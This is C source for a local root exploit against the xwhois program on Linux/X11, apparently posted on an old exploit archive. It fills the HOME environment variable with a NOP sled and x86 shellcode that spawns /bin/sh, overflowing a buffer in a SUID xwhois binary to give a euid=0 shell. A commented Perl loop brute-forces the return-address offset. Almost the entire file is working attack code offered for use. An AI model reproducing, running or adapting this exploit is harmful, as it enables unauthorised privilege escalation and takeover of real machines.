/* (linux+X11)xwhois buffer overflow, by v9[v9@fakehalo.org].  this will give
   you a euid=0 shell if /usr/X11R6/bin/xwhois is SUID(=4755), which isn't
   anywheres by default.  just pointing my finger at another program. :/

   note: if /usr/X11R6/bin/xwhois isn't SUID(=4755) or you're not uid=0 it
   usually won't launch the shell.  use offsets around 10, or so.  is it me or
   are there alot of overflows that involve the HOME env var?

   here is a quick perl script to run offsets (until ctrl-c):

   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./xwhois_bof $i");
    $i++; # or $i+=100; if you want to be speedy. (not really for this exploit)
   } */

#define DEFAULT_OFFSET 19
static char exec[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
 "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // i like hex01.
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[269];
 int i,offset;
 long ret;
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()-offset);
 printf("return address: 0x%lx, offset: %d.\n",ret,offset);
 for(i=0;i<261;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(260-strlen(exec));i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 setenv("HOME",bof,1);
 execlp("/usr/X11R6/bin/xwhois","xwhois",0);
}
/*                    www.hack.co.za           [27 June]*/